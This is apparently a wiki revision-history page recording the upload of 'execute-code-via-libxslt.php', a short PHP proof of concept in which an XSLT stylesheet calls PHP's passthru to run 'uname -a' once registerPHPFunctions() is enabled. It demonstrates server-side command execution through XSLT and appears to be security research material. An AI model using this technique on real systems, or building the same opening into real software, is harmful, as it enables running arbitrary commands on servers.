Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29

From version Icon 7.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 16:42
Change comment: There is no comment for this version
To version Icon 8.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 17:24
Change comment: Upload new attachment execute-code-via-libxslt.php

Summary

Details

Icon execute-code-via-libxslt.php
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +653 bytes
Content
... ... @@ -1,0 +1,36 @@
1 +<?php
2 +
3 +$sXml = '<empty/>';
4 +
5 +$sXsl = <<<EOT
6 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
7 + xmlns:php="http://php.net/xsl"
8 + version="1.0">
9 +
10 + <xsl:template match="/">
11 + <xsl:value-of select="php:function('passthru', 'uname -a')"/>
12 + </xsl:template>
13 +
14 +</xsl:stylesheet>
15 +EOT;
16 +
17 +# LOAD XML FILE
18 +$XML = new DOMDocument();
19 +$XML->loadXML( $sXml );
20 +
21 +# LOAD XSLT FILE
22 +$XSL = new DOMDocument();
23 +$XSL->loadXML( $sXsl );
24 +
25 +# START XSLT
26 +$xslt = new XSLTProcessor();
27 +$xslt->importStylesheet( $XSL );
28 +
29 +# Register PHP functions as XSLT extensions !
30 +$xslt->registerPHPFunctions();
31 +
32 +# TRASNFORM & PRINT
33 +print $xslt->transformToXML( $XML );
34 +
35 +?>
36 +